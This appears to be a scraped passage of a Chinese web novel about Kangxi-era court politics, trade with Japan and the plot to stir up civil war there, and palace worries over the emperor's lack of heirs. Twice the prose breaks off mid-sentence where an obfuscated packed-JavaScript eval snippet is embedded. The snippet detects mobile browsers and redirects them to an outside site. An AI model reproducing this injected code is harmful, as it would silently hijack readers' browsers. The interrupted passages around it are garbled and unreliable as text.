暂领商部的裕亲王是宗室代表,刚从南洋商事里尝到甜头;升任商部侍郎的明珠,则是皇帝亲手提拔的新锐,既能牵制宗室,又懂商事盘算。 更精妙的,是海事衙门的设立。 “海上的风险,得靠海军挡着。”康熙在大朝会上手指地图,将“海关”与“海军”两项权责从商部剥离,另立海事衙门。 这新生的衙门握着航船审批、港口管理的实权,更管着刚组建的新式水师——如此要害之地的首任尚书,他选定了内大臣索额图。 索额图跪在太和殿金砖上谢恩时,额头的冷汗混着激动往下淌。 他太清楚这差事的分量——比内务府的琉璃窑、南洋商号都实在。 昨夜珠兰派人递来的话还在耳边,“皇上念你献的肥皂、白糖法子,能让内务府多赚三成利。” 他心里明镜似的,这是主子娘娘在皇上面前替他铺了路,用实实在在的“生财计”换来了这实权肥差。 只是旨意里那句“撤去内务府行走”,也为的是断了他两边沾光的念想。 散朝后,朝臣们看着裕亲王福全与纳兰明珠在门口客气寒暄,望着索额图接过海事衙门的印信,忽然品出味来:商部管钱,海事管枪,一个用亲信制衡,一个让内臣掌兵——皇帝既不让户部独大,也不许宗室专权,更防着商部与军方勾结。 珠兰在内务府听着太监的回报,指尖转着算盘。 商部空着尚书位,是让朝臣们争着表现;海事交给索额图,是信他能护住航船;宗室与近臣搭配,是怕一方独大……这每一步,都踩着“分权”与“制衡”的鼓点。 而那位少年天子,此刻正站在御书房的海图前,用朱笔圈出一个又一个港口。 他要的从来不是一个商部或一个衙门,是一张既能赚回千万两,又牢牢攥在自己手里的海上大网,能放出去,就能收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096859|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回。 网已张开,只待鱼虾入网。将那鱼虾捕完,再将网收回晾晒便是。当然,这是后话。 此刻,康熙不曾说出口的隐忧,也是诱八旗向南的内生动力,首要便是横亘在南方航线上的三藩。 福建、广东的水师,大部分都是听从藩镇之命的,随时可以由兵转匪徒,将南洋、西洋来的商船视作嘴边的肥肉。前几日南洋船队遇袭,郑经的旗号下又藏着平西王府的腰牌,不就是最直白的警告? 盘在心底的蛇,总在夜深人静时探出头——三藩,就是他心头最尖的那根刺。 这隐忧,恰恰成了驱策八旗向南的鞭子。皇帝太清楚八旗子弟的脾性——当年跟着太祖爷入关,为的是江山与财富;如今见着南洋的香料能翻十倍利,西洋的黄金宝石遍地都是,眼睛早亮了。 当整个朝堂都在惦记“一次往返千万两”时,扫平三藩就不再是皇帝一个人的事,成了八旗、宗室、甚至百官的共同念想。 康熙转身看向案上的《天下舆图》,指尖从福建划过广东,重重落在云南——吴三桂的平西王府。 他仿佛已看见庆功宴上的酒盏,一半盛着南洋的香料酒,一半映着三藩覆灭的火光。 “快了。”他对着舆图低语,眼底的寒意里藏着笃定。 只要航线上的银子流得够快,只要八旗的贪心被养得够足,那盘在南方的毒蛇,自有无数人举着刀去斩。 为了银子,下半年的明珠扛着压力,不准手下用次品糊弄替换运去东瀛的上品丝绸,又要盯着产地那边的价格,预防有人趁火打劫的涨价。 还听说日本那边的市场,应该一次性吃不下三十船的货,若是超过二十艘船过去,就该供大于求了。 他想做出成就来,手底下也想,便很容易一群人出个破主意,干些糟烂事出来。原来皇后娘娘手下做事的马佳氏很容易就出海了,到了一群人手里,却艰难万分。 入秋后,衙门总飘着股焦糊味。 明珠攥着东瀛的急报,指节把纸页捏出褶皱——报上写着,杭州织造送来的三船丝绸,到了长崎就莫名混了近百匹次等货,被日本藩主的管事挑了出来,太丢脸了! “查!给我彻查!”他将急报摔在案上,震得算盘珠子噼啪乱滚。早就强调过千百次,还是要出乱子不可。 底下的司官们噤若寒蝉,谁都知道这位新升任的侍郎眼里容不得沙子。 自接手东洋商事,明珠就立了规矩:运去东瀛的丝绸必须是民间货中的上品,织金要足色,绣工不能差一针——马佳氏去年靠这规矩赚了满堂彩,他不能砸了招牌。 可压力比他想的更沉,产地的绸缎商见商部要货急,悄悄把价格抬了两成,还撺掇着说“反正日本人不识货”;底下的采办也来嘀咕:“大人,少用几两金线,省下的银子……” 话没说完就被明珠踹了一脚:“皇上要的是长久生意,不是一锤子买卖!” 更棘手的是东瀛市场的容量,如今商部雄心勃勃,一口气备了三十船货,却有老商号的掌柜来劝:“大人,日本国就那么些藩主贵族,都太平日子过着,不咸不淡的,二十艘船的货就够他们用半年了,多了准得压价。” 明珠夜里对着账簿发愁,忽然懂了马佳氏当年的厉害。那家人看似轻轻松松出海,实则早把东瀛的风土人情、本地的上上下下都摸得透透的:知道哪个藩主爱蜀锦,哪个大名喜苏绣,哪里的绣户灵巧,哪里的知府清廉,连每年能消化多少匹绸缎、能喂饱几名大员都算得精准。 可到了他手里,一群想立功的人七嘴八舌,反倒把简单的事弄复杂了——有人说该加运茶叶和琉璃搭配着卖,有人主张绕过中间商直接找天皇,还有人竟提议用丝绸换日本的名刀,再运回中原倒卖……主意多如牛毛,却没一个能落地。 那日他去海事衙门找索额图核对航线,见对方带着施琅正盯着海图部署水师,忽然叹道:“原以为马佳氏出海是顺水推舟,如今才知,这水里的石头太多了。” 索额图也不避讳施琅在,瞥明珠一眼,递过杯热茶,“一群人想把功劳都揽在自己身上,自然比不得一家人齐心。” 施琅自打往葛大人身边靠失败后,受到一位同为葛大人举荐的高人指点,就安心当了索大人的小弟,大树底下好乘凉啊。自打入了索门,再没有人当街拦住他的马,非得让他跪着行礼了。 为了这个,珠兰再看他的忠诚度,居然就突破了60,成为海事衙门中第一个可以操纵数据的外臣。 这是一员海军大将,珠兰果断把他的忠诚属性拉满。 明珠望着窗外飘落的秋叶,在账册上圈出“分批出海”四个字。 先派十艘船探路,摸清行情再增派;让采办跟着马佳氏的掌柜学认绸缎成色,亲自疏通上下关系,把产地价格钉死;又从晋商中找了几个明白事理的来,问问这些之前的专家具体情况。至于那些乱七八糟的所谓“新主意”,一概压下,还用马佳氏的人和法子——他总算明白,商事不是朝堂上的辩论,赢的不是嘴皮子,是实打实的算计。 当第一批次试航的商船带回“货物售罄,藩主大名还订了明年的货”的消息时,明珠捏着回信的手微微发抖。 他望着商部衙门里忙碌的身影,忽然觉得这磕磕绊绊的日子,倒比顺风顺水更让人踏实——至少他懂了,马佳氏的“容易”,藏着多少不为人知的细致;而自己要走的路,才刚刚开始。 这么磕磕绊绊的,到了年底,好赖又有千万的利进了库,明珠才算喘了一口气。没少有多,便能交差了。 可负责安排护航船只的索额图却递上了一个坏消息,东海上发现了一股强大的海盗,疑似是日本破产武士下海讨饭吃。 而后留在日本探路的内应,也带来了一个坏消息,原本每年晋商就去一次东瀛,一次十到二十船就到此为止,所以市场维护的很好。但是今年,去了两次,东瀛的丝绸是真有饱和的可能了。 明年,不一定还有这么多绸缎生意好做。 明珠聪慧,马上就反应过来,不能单靠着曾经的法子做事了。 毕竟今年是两千万,明年不可能只要一千万就能打发了满朝诸公的。 “既然东瀛蛮夷不识相。”索额图比划了一个动作,眼中冒出凶光。 明珠,打了个哆嗦。 63. 都爱搞事 慈宁宫 太皇太后与苏麻喇姑闲话,似在不知不觉间就说起,“皇帝将西洋红利分三成给八旗,让宗室子弟都沾染南洋的好处,看似是分润,实则是把诱饵挂在了三藩的头顶。” 苏麻喇姑附和着自家格格的话,说:“那些尝到甜头的旗人,都捧着账本盘算着下次航行的利润呢。进来请安的福晋们,请见的间隙都在讨论这事儿,不少要拿嫁妆银子出来入伙的。” 太皇太后点头,前朝大臣们此刻绝不会容忍三藩在航线上作梗;宗室王爷们看着商船带回的银子流进府库,自然明白“南洋巨利”与“三藩盘踞”是水火不容;就连向来主张“安内”的老臣,见了户部呈上的东洋账册,也开始念叨“王师该南下了”。 南下,北边就不能乱,哀家这把老骨头还能替孙儿看着点。若非商路纠纷太多,原也不必如此操心。 珠兰:怪我咯······ 赫舍里府 索尼念叨着,这便是帝王的算计:用银子勾着八旗的胃口,用利润系住宗室的心思,再让朝廷对海洋巨额收入的依赖,变成削藩的底气。 两个孙子却一味舞刀弄棒,年纪大了还是调皮,天赋都在身上,就不爱往脑子里灌。 索尼摇摇头,难带啊。这带孙子,可比上朝都难。 因为日本市场随着货物大量进入开始萎缩,海域上还因为商贸的繁荣导致海盗四起。 索额图与明珠这对老朋友,都很看不惯这些蛮夷不仅不勇于给天朝上国送银子,居然还敢在他们升官发财的路上制造麻烦,决定在明年贸易之前,让他们知道知道,什么是上国权谋。 于是,他们决定开一个联合会议! 之前两大衙门同时派出了探子,在东瀛各地刺探,收集了各类信息,结合之前晋商提供的情报,对江户幕府的情况有了大致了解,甚至分析的比他们幕府自己还到位。 同样被皇上调入商部的汉侍郎陈敬亭说,“江户幕府相对稳定,但面临着财政危机等问题,所以他们对外贸易有所管控。” 本来要去广东当知县的姚启圣,受到了施琅的举荐,留在海事衙门当了主事,他分析,“东瀛城内生活费用大增,幕府和各藩财政支出相应增大,但收入却以实物形式恒定出现,导致财政收支失衡,财政危机成为常态。” 富察氏的年轻俊彦马齐,被从工部调入商部做了郎中,他虽然才十九岁,但见识不凡,对数字十分敏感,“属下统计,德川幕府年收入折合白银是四十六万七千两,而每年支出却达一百四十万两以上,财政赤字严重,这里面还不算每年流失的金银铜矿的价值。” 明珠点点头,“各藩实际比幕府更早陷入财政破产境地,封建领主和武士经济地位下降,不得不向商人借钱,甚至出现大名向商人低三下四借钱的情况。” 这意味着,商人阶级凭借货币购买力逐渐取得社会实际主导地位。令人警惕啊! 也正是因为认识到了东瀛的情况,造就了明珠对商人利用又严防的习惯。进而,影响了皇帝对商人阶层的印象。 索额图补充道:“东瀛仍实行锁国政策,严禁国人出海通商,但民间贸易在一定范围内存在,日本长崎的贸易较为活跃,以生丝换取日本铜具有暴利。这就是之前晋商赚钱的路子,也是马佳氏能带回那么多银子的缘由。” 但今年“正德新令”恰巧颁布,限制在日贸易额,规定各港口赴日商船的总数限制为一年25艘,每年买铜不能超过300万斤。 年底时,幕府还令长州、福冈、小仓各藩缉捕在海上与清奸商从事贸易活动的人,加强对走私贸易的管控。 这消息传回来,明珠就炸毛了。 这明显是针对他啊,狗一样的幕府! 商部衙门的炭盆烧得正旺,几人频频发言,要让那小国晓得何为敬畏,火炭映得墙上的日本舆图泛着暖光。 朝堂还在为三藩的战事何时开打争得面红耳赤,为了赚钱,索额图与明珠的话题,围绕着东瀛的海岸线又进行了一个多月。 “你看这长州藩,”索额图的指尖敲在海图上,墨笔圈出的港口旁,密密麻麻记着“银山产量”“对幕府不满”的小字,“表面对江户幕府俯首帖耳,暗地里早因银山的分成磨了十几年牙。去年咱们的商船去,奉行私下塞来的信里,字里行间都是怨怼。” 明珠正让马齐核对着长崎的贸易清单,闻言抬头皱眉:“可江户幕府越收越紧了,明年要限制商船入港,咱们的丝绸、瓷器怕是迟早要受影响。”他放下账册,语气里带着担忧,“照这势头,日本市场怕是要一年比一年小。” “小?”索额图忽然笑了,抓起案上的茶盏抿了口,茶水的热气模糊了他眼底的暗色,“要我说,是嫌水不够浑。”他俯身指着舆图,从长崎港划到长州藩,“长州藩本就与幕府不对付,沿海的小藩国更是缺盐少铁——咱们要是往里头添把火呢?” 明珠眼前一亮,“添火?!” “给长州藩壮胆子,他们本代藩主是个野心勃勃的年轻人,一直试图与朝廷联系。只有我们愿意支持,他就敢跟幕府争银山的支配权;再悄悄贩卖给周围这些小藩送些铁器、火药,让他们敢跟幕府叫板。”索额图的指尖重重落在“江户”二字上,区区小国也敢不顺上意,自有办法叫他自顾不暇。 陈敬亭笑道:“他们乱起来,才顾不上查咱们的船运了多少货。到时候咱们左手卖给江户丝绸,右手给长州送火药,浑水摸鱼的利,可比现在安稳做生意厚多了。”来了商部与海事衙门的,都是思路活跃的年轻人,互相影响下,大家都没了之前仿佛耻于言利的习性。 马齐握着算盘的手顿住了,半晌才反问:“要是咱们想要的是他们的银山,干嘛费这劲?直接让水师夺过来,银子不就直接进账了?”这个年轻人,思路更加直接。 明珠像是听到了什么笑话,放下茶盏的动作都带着几分对蛮夷的轻慢:“你当那东瀛野人跟咱们一样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102026|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他从账册里翻出页纸条,上面是采买太监记下的见闻,“他们的矿工,要么是战俘,要么是罪犯,不用给月钱,饿不死就行。咱们要是占了矿山,雇矿工得付工钱,防着暴动得派兵,这笔支出算下来,比拿货物换银子亏多了。” “竟有这等事?”姚启圣的眼睛瞪圆了,捏着纸条的手指都在抖,“拿国民不当人……这蛮夷之地,真是……”还不如三藩下属呢。 “所以啊,”索额图打断他,重新铺开舆图,取过笔,在长崎港与长州藩的位置各画了个圈,“咱们不用费那劲儿去占地,就用丝绸换他们的银子,用火药挑他们的矛盾。他们内斗得越凶,咱们的船就越安全,赚的就越多。” 马齐望着舆图上的圈,开悟了:江户幕府、长州藩,都是上国手里的棋子——而他们两部,是执棋的人。 “明年开春,”明珠拿起笔,在贸易计划上添了行字,“先给长州藩送一批上好的铁器,说是‘商部酬谢往年护送之恩’;再让马佳氏继续去长崎,跟奉行说‘幕府要是再压价,咱们就去跟长州藩直接做买卖’。” 马齐听闻,立即举荐自己去日本经略此事。姚启圣张口,没抢过他。 这俩新衙门里,就没有不想升官的。 富贵险中求! 等闲商人要考虑不得罪东瀛幕府,做买卖细水长流,他们背靠朝廷,却不用考虑小国之思。 索额图看着年轻的马齐眼里燃起的光,端起茶盏与明珠隔空一碰:“就这么办,乱中取利,才显得出你我的上乘功夫。” 炭盆里的银丝炭“噼啪”爆响,将众人的影子投在舆图上,像一群蛰伏在东瀛海岸的兽。 外头的风雪还没停,商部衙门里的冷气已顺着洋流,漂向了千里之外的日本列岛。 康熙七年的海面上,挂着“大清商部”旗号的商船往来如梭。 去东瀛的航船频率比去年翻了一倍,舱里的货也变了模样——除了惯常的苏绣、景德镇瓷,竟多了用油布裹紧的火药桶、泛着冷光的铁器。 马齐亲自压货过去,走了数个小藩,拿日本大名当练习册,写自己的权谋题。 施琅私下安慰姚启圣,再等等机会。 他们站在岸边,听见天津卫的码头工人私下嘀咕:这哪是做买卖,倒像往东边送打仗的家什。 两人对视,都晓得部堂的野心不止在银子上。 商部衙门的算盘打得噼啪响,明珠盯着账册上的“3000万两”,指尖在“半年千万”的红线下来回摩挲。 马佳氏当年创下的纪录,是他肩上的秤砣,压得他每月都要核对三遍东瀛的货单。 可江户幕府偏不识趣,一面缩减贸易规模,一面还想压价三成,明摆着不想让大清占太多便宜。 “不让安稳做买卖,那就别怪咱们掀桌子。”明珠对着马佳氏送来的密信冷笑,信里说长崎藩的藩主大名偷偷托人带话:“愿助大清商事,只求大清助他逼迫幕府让步银山之利。” 64. 皇帝无子 这正合了索额图的心意,海事衙门的牌子挂在六部之后,论排位,连新立的商部都比不上。 索额图憋着股劲,要让这新生的衙门立住脚——最好的法子,就是让朝廷看见“海军能镇住场子”。 他对着水师将领的名单圈点,安排施琅与姚启圣一起去办,“给长州藩送的铁器,得掺三成精钢,不用过火,能用上三年就行,让他们的刀能劈开幕府的铠甲;火药要配引线,教他们怎么用才够劲,但秘方必须控制得当,让他们永远求着咱们。” 施琅不解,姚启圣给他解释道:“仗打得越大,海事衙门的话才越管用。” 索明两人一拍即合的谋算,像投进东瀛列岛的石子。 长州藩得了火药,连夜操练武士,对着江户的方向放了三响铁炮;沿海小藩主捧着从大清换来的新式腰刀,腰杆硬了三分,公开抱怨“幕府克扣贸易红利”。 江户幕府派来的巡查船刚靠近长崎港,就被藩主的人用大清送的鸟铳逼退——这些小藩主心里清楚,背后有大清撑腰,幕府不敢真动手。 姚启圣也得了机会出使,摆出盛气凌人的模样几度进出江户幕府,可惜任由他如何挑衅,那边的将军还是和蔼可亲,言道一切好谈,没给他当一回“汉使”的机会。 诺敏的大哥在长崎港的商栈里,看着藩主送来的“谢礼”——一箱子足色白银,忍不住对随船的马齐笑道:“大人瞧,这比跟幕府磨嘴皮子痛快多了。” 马齐翻开账册,上面记着:九月,卖给长州藩的铁器就赚了两百万两,比上半年的丝绸生意还厚。 而明珠在商部核完最后一笔账,望着“全年3000万两”的总数,长长舒了口气。 这数字不仅远超马佳氏当年,更稳稳踩住了皇帝的“心中底线”。 只是他摩挲着账册边角,想起年初索额图的话:“明年若想保住这数,东瀛的仗还得真热闹起来才行。” 他打了个寒噤,却还是在“次年贸易计划”上添了行字:每批次增运火药五十桶。 索额图的海事衙门,也借着这场乱局扬眉吐气。 水师以“护商”为名,在东瀛近海游弋,击沉了三艘冒充“海盗”的幕府巡查船。江户大将军一个声不敢出,还给使臣姚启圣送了大礼。 捷报传回京城,皇帝虽没明着嘉奖,却给海事衙门拨了工部新造的战舰,各类经费批的那叫一个爽快。 索额图站在船坞里,看着工匠给战舰刷漆,嘴角噙着笑——再打几仗,海事衙门就可以改海部了。 施琅在天津港见到朝廷新拨的新式战舰,船身比当年在南海被击沉的旧船宽了三尺,炮口能装五斤重的铁弹。“打日本人的小舢板,正好练手。”他对着水师将领拍胸脯,“等练熟了,平三藩、收台湾,这船就能派上用场。”只是他还是担心,这船可能打不过人家的,免不得靠人数取胜。那就得,用兄弟的人命填进去了。 当初,他在海上吃过大亏。虽然他也不知道那是谁的船,就当是三藩的船吧。 乾清宫里,康熙翻着户部呈上的“东洋贸易岁入清单”,3000万两的数字旁,还粘着张索额图的奏折,说“海事衙门已能护全东洋商路”。 他随手将奏折丢在案上,目光落在“三藩军饷”的账册上——这些银子拿出一部分,够给扩军的丰台大营换三回铠,够买十万匹战马。 至于东瀛是战是和,长崎藩会不会赢,他根本不在乎。 前朝的争论还围着“明年下旨撤藩”还是“干脆打过去”打转,大员们唾沫横飞地讨论“吴三桂会不会先反”,没人留意商部和海事衙门的小吏们,正抱着账册偷乐。 吉雅注意到,皇后娘娘在内务府衙门品茶时忽然对着窗外的海棠花笑了。 索额图要的地位,明珠求的功绩,皇帝缺的军饷,竟都靠着东瀛的乱局,圆了各自的念想。 也包括,珠兰突然入手了一颗浩波级能量结晶。 系统:是东瀛此时内战,有助于世界进程之故。 珠兰一直以为世界不喜欢伤亡,所以一直克制着自己旺盛的破坏欲。也就杀些罪大恶极的,证据确凿的家伙,过过瘾。现在来看,似乎这世界也不是所有的伤亡都不喜欢啊。但是,仍然需要验证。 这一年的冬天,东瀛列岛的战火映红了海面,而大清国的银库,在寒风里堆起了新的银山。 谁都知道,这些银子迟早要变成南方战场的刀枪,却少有人关心,那刀枪的寒光里,藏着多少东瀛藩主的血,多少商船运来的火药味。 就连亲手制造一切的索额图与明珠,也只是高度关注着东瀛市场。 而在庄子上又一次聚头的掌柜们,秘密接待了罗刹过来的商人。 索额图按照主子娘娘的吩咐,给这群胆子大到做火炮生意的家伙们行了方便,反正他们不会把好东西卖给外国人的。 他不晓得,因为科尔沁的短视,这群掌柜的这次想给自大的蒙古人来个狠的。 罗刹那边正好也因为贸易路线断在科尔沁,着急上火,他们更加需要东方的丝绸茶叶等紧俏货。 芦苇荡深处的庄子,连鸟雀都少来。 几个掌柜围坐在炕桌旁,炕桌上摆着粗瓷碗,碗里的茶水早凉透了。 门外传来三短一长的叩门声,为首的掌柜朝手下递个眼色,有人掀帘出去,不多时领进来两个高鼻深目的罗刹商人——貂皮帽子上还沾着霜,眼珠却亮得像要吃人。 “上头的意思,咱们懂,你们也得懂。”为首的掌柜捻着胡须,慢悠悠开口,一嘴的粤语,“你们要的丝绸,给的是湖州二等货;茶叶,是祁门的秋茶。别嫌次,这已是绕过科尔沁商路能弄到的最好的了。” 罗刹商人急得搓手,听了翻译的转述,操着生硬的汉话说道:“我们要最好的!像从前那样的云锦、龙井!科尔沁那帮蠢货,把路堵死了,我们的毛皮换不到好货,沙皇会发怒的!” “谁让他们短视呢。”另一个掌柜冷笑,张嘴是闽南话,“占着商路就以为能拿捏天下?连罗刹的生意都敢断,真当自己是草原的天了?” 这话正戳中罗刹人的痛处,为首的商人猛地拍了下桌子,叽里咕噜一串儿弹舌音,翻译说道:“你们有办法?只要能把货送过来,价钱好说!甚至……我们的火枪,好用,也能给你们!” 掌柜们交换个眼神,眼底藏着算计。 索额图按皇后的吩咐,给他们行方便时特意嘱咐“莫给外人好货”,可谁也没说不能借外人的手,治治科尔沁的自大。 “办法不是没有。”为首的掌柜端起凉茶,抿了一口,放下要捋胡子的手,得小心别把自己胡子抓下来,“但得借你们的手,敲敲科尔沁的傲气。比如……让他们的商队‘偶尔’遇袭,让京城知道,这条商路攥在他们手里,不稳当。” 罗刹商人眼睛亮了,“你们要我们动手?” “不。”掌柜摇头,示意罗刹商人附耳过来。 罗刹人听完,立刻明白了。这是要借刀杀人! 而且按照汉人的意思办,还能在沙皇面前坑一坑竞争对手家族。 他们对视一眼,都看到了对方眼里的贪婪——只要能拿到好处,这点又算什么? “成交!” 送走罗刹商人,掌柜们重新围坐。有人低声道:“索大人那边……” “他只知我们不卖给外人好货就行了,哪晓得我们要借罗刹的手,让科尔沁栽个大跟头。”为首的掌柜冷笑,“科尔沁占尽便宜还不知收敛,是该让他们尝尝,什么叫天外有天。” 一个留着山羊胡的掌柜敲了敲桌子,烟杆在指间转了个圈:“罗刹人靠不住,那帮红毛子眼里只有银子,真到了要紧关头,指不定倒戈跟科尔沁做买卖。咱想在草原站稳脚,还得靠自己人。”他们都没拿真身份给那些毛子,连今日的面貌都是改装的,就防着这一手。毛子到现在还以为自己是和粤商打交道,他们可全是说的粤语。这地方,回头也得毁掉。 对面的胖掌柜摸着算盘,算珠打得噼啪响:“你的意思是……调翻云会的人来?” “不然呢?”山羊胡习惯性往窗外瞥了眼,似乎要确认没人偷听,声音压得更低,“寿春姑娘在南边能把三藩的底细摸得门清,到了草原,照样能让弟兄们钻进各个部落的缝隙里。牧民、马夫、甚至贵族家的仆役,都能安插人手。” 有人迟疑:“可翻云会的主力在南边盯着三藩,抽人过来,会不会……” “南边有寿春姑娘坐镇,暂时出不了岔子。”一直没说话的为首掌柜忽然开口,他指尖蘸着茶水,在桌上画了个圈,“草原这盘棋,比南边更要细。罗刹人是把火,能烧乱科尔沁的阵脚,可火灭了,咱得有自己的人守住灰烬里的东西。” 他顿了顿,眼神沉下来,“让翻云会的人来,不用干别的,就从牧民里挑机灵的,教他们识字算账,跟他们混熟了,再慢慢往部落核心钻。等他们能说上话了,科尔沁的软肋、准噶尔的野心,咱比他们自己还清楚。” 胖掌柜点头附和:“对,大姐儿属下又有新技术,咱还能借着教他们做奶糖、鞣皮毛的由头,拉拢人心。那些牧民日子苦,谁给他们活路,他们就跟谁走。” “就这么办。”为首的掌柜一锤定音,当即取来纸笔,“给寿春姑娘的信,得写清楚——要最精干的弟兄,会说蒙话的,走内务府的路子最方便,明着是来帮那些抚蒙的公主们照看作坊,暗着就是要织一张网,把漠南漠西的动静,都网在咱们手里。” 山羊胡接过笔,沾了沾墨,“我还得加上一句,多备些治风寒的药。草原的冬天冷,送药比送银子还能暖人心。” 信写得快,没说半句虚话,只把调人的缘由、要做的事列得明明白白。用火漆封了口,交给最可靠的信使时,为首的掌柜拍了拍他的肩:“这封信,要比罗刹人的火枪更管用。送到了,草原的天,就得变一变了。” 信使揣着信消失在暮色里,包间里的人却没散。他们知道,调翻云会的人来,不是要跟谁硬碰硬,是要在草原的泥土里,埋下属于自己的种子——等到来年开春,这些种子长起来,就能替京城,牢牢攥住这片草原的脉搏。 至于那封信,用的是密语,只有大姐儿的手下会看,不怕丢。 慈宁宫的铜鹤香炉里,沉香燃得闷闷的,像太皇太后此刻的心情。 孩子都是心头肉儿,雅图与阿图都是她的爱女,哪个受了委屈她都难受。 更何况现在姐妹彼此有了怨怼,更让她难过。 太后就劝,说儿孙自有儿孙福。她嘴笨,也劝不到点子上。 就是说起孙子,太皇太后把女儿暂且抛开,忧心起皇帝。皇帝无子,动摇国本。 她捏着佛珠的手指重重碾过,对着太后叹道:“康熙七年了,宫里一声儿啼都听不到,这像话吗?” 这话题,更不好说了。太后也尴尬了,她是个后妈,等闲不敢问皇帝敏感话题的。 窗外的玉兰花刚打了苞,太皇太后的目光却像淬了冰,“皇帝十六,珠兰十九,哪个不是该开枝散叶的年纪?就算珠兰忙,可能身子骨弱些,贵妃、宣妃又没那么些闲事,总康健吧?可你瞧瞧,皇帝除了每日跟皇后在乾清宫用两顿膳,东西六宫的门槛怕是都快认不得了。” 太后捧着茶盏,指尖泛白,半晌才低声道:“皇上心里装着前朝的事,三藩、南洋、东瀛……忙得脚不沾地。” “忙?”太皇太后冷笑一声,佛珠线被拽得咯吱响,“再忙,皇家的根苗不要了?哀家当年像他这么大,早已生了两个女儿!”她瞥了眼太后,语气软了些,“你也是,他是你儿子,就不能劝劝?” 太后垂下眼,茶盏里的热气模糊了她的脸:“额娘知道,皇帝的性子……决定的事,谁劝都没用。”她知道自己嘴笨,哪里还敢提“子嗣”二字。 太皇太后话说如此,其实心里明镜似的,劝是没用的。 上月皇帝来请安,说完南洋的船,她捏着内务府绣房贡的百婴图锦缎说“这料子软和,瞧这百婴多喜庆,该给哀家添个重孙了”,皇帝却笑着岔开话,说“西洋的香料,孙儿让内务府给您送些来”;这月再提,还没说后宫呢,他干脆说起“海事衙门新造了战舰,能抵得上三藩的水师”——句句都在绕,偏不接她的话。 疑心像野草似的冒出来,她悄悄传了御医,屏退众人问了半晌,得到的回话是“皇上龙体康健,脉象有力”。跟他结婚前,一样! 太皇太后松了口气,却又更窝火了——不是身子的事,那就是心思压根不在这上头! 满宫女子,并没有他看上眼的。 皇帝在乾清宫收到太皇太后又传御医的消息时,正对着传教士送来的《人体图说》皱眉。书里说“少年生育,于父母、子嗣皆损”,这话他怎敢跟太皇太后说?以她的脾气,怕是要把这些“妖言惑众”的传教士拖去午门问斩。 他捏着书页的边角,想起前日请安时太皇太后那欲言又止的眼神,心里泛着苦。只能再让太监送些珠宝香料人参鹿茸去慈宁宫,算作无声的安抚。 慈宁宫里,太皇太后望着那箱新贡的人参,对苏麻喇姑说:“你说,问题到底出在哪?”是珠兰不得宠?可皇帝每日都跟她用膳;是妃嫔不争气?可连贵妃那样的美人,皇帝都没正眼瞧过。 太后以为是在问自己,说道:“会不会是……宫里太冷清了?”或许添些热闹,让皇帝多来后宫走走,心思自然就转了。 苏麻喇姑刚要接话,就见太皇太后拍了下炕桌:“去,传旨给内务府,把西六宫的廊下都挂上灯笼,再让乐工每日午后在御花园奏乐——哀家就不信,他还能总待在乾清宫!” 珠兰:这是唱的哪一出? 住在咸福宫的玉宁,眼前一亮,决定午后去旁边的御花园中抚琴跳舞。 萨琳与诺敏皆无动于衷,不曾管那边的热闹,只做自己的事。 塔娜往御花园去了几次,给玉宁狠狠捧场,她还带着姐姐珠兰一起去,姐妹俩一起给玉宁叫好。 后宫,就和谐的过分。 乾清宫里的皇帝,有些烦恼于祖母的好意。他对着《人体图说》轻轻叹了口气,就忍了后宫的喧闹。他还在长个,晚上还会腿抽筋儿,已经很为之烦恼了。按说祖父与阿玛个头都是一般人,怎么自己就长这么高?肯定是因为朕乃天命所归! 压根想不到,慈宁宫的太皇太后,已为他布下了另一盘“催生”的棋。 慈宁宫的暖阁里,熏笼烧得正旺。 太皇太后捏着茶盏,看珠兰福身落座时,眼角的皱纹里藏着几分审视——这皇后,笼络皇帝的本事不是没有,弄那些“糖筷子”“肥皂子”倒上心,让皇上离不开她的筹谋,一直令她管着内务府。这么聪慧的一个人,偏偏在子嗣这事上像块木头,半点不急。你哪怕灌醉了他的,也该有结果了啊。 “珠兰啊,”太皇太后先扯了些闲话,话锋忽然一转,“朝中也该选秀了,不光是给皇帝添人,八旗子弟的婚事积压了两年,也该指婚了。”她顿了顿,瞟着珠兰的神色,“福全、常宁的亲事,也得借着选秀操持起来。”本来想让皇帝先有子嗣,再给他们指婚。现下,不能再拖了。 珠兰刚剥了颗蜜饯塞进嘴里,闻言直点头,“可不是嘛,宫里头就这几位姐妹,早就腻了。选些漂亮妹妹进来,既能陪说话,还能帮着理理琐事,挺好。” 这话听得太皇太后与太后对视一眼,都从对方眼里看到了诧异——哪有皇后盼着给皇帝选秀,还当是选玩伴的? 太皇太后心里憋着气,晓得这招儿用处不大了。早些年她就发现,皇后是一丝危机感都没有,一点笼络皇帝生太子的心思都不长。 后宫安稳的,就像没有后宫似的。这根本就不符合她的刻板印象,太皇太后有些话说不出,只能埋怨后宫佳丽都不争气。跟她年轻时,差远了。 老人面上却没露,拿出了此次的杀手锏。 珠满脸期待的看着太皇太后,听反复。 就听她转而说起草原的事,“科尔沁这两年接了晋商的草原贸易,富得流油。哀家的大女雅图在那边,日子滋润,可二女阿图嫁的巴林部,却总来哭诉日子紧巴……” 